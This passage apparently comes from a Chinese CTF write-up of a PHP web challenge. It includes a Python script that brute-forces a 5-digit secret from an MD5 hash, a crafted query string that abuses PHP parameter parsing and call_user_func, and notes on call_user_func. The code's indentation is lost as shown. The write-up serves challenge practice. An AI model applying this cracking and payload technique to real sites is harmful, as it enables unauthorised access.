Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

写脚本爆破就行

import hashlib
import itertools

def crack_password():
# 明确SecretNumber是5位纯数字
chars = '0123456789' # 仅数字
target_hash = "166b47a5cb1ca2431a0edfcef200684f" # 注意:原题哈希可能有拼写错误?需确认

# 固定循环长度为5
for candidate in itertools.product(chars, repeat=5):
secret_number = ''.join(candidate)
password = f"shaw{secret_number}root" # 拼接完整字符串

# 计算MD5
md5_hash = hashlib.md5(password.encode()).hexdigest()

if md5_hash == target_hash:
print(f"爆破成功!密码为: {password}")
print(f"对应MD5哈希: {md5_hash}")
return

if __name__ == '__main__':
crack_password()

image-20250403094353932

最后传参为

shaw[root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my[ans=qwq::oao

image-20250403094738693

关于call_user_func()函数

//1.可以用array(__NAMESPACE__.'\类名','方法名')传递类方法,也就是:array('命名空间\类名','方法名')

$return = call_user_func(array(类名,方法名),参数);

//2.可以用···· __NAMESPACE__.'\类名::方法名' ···传递类方法,也就是:'命名空间\类名::方法名'

$return1 = call_user_func(类名::方法,参数);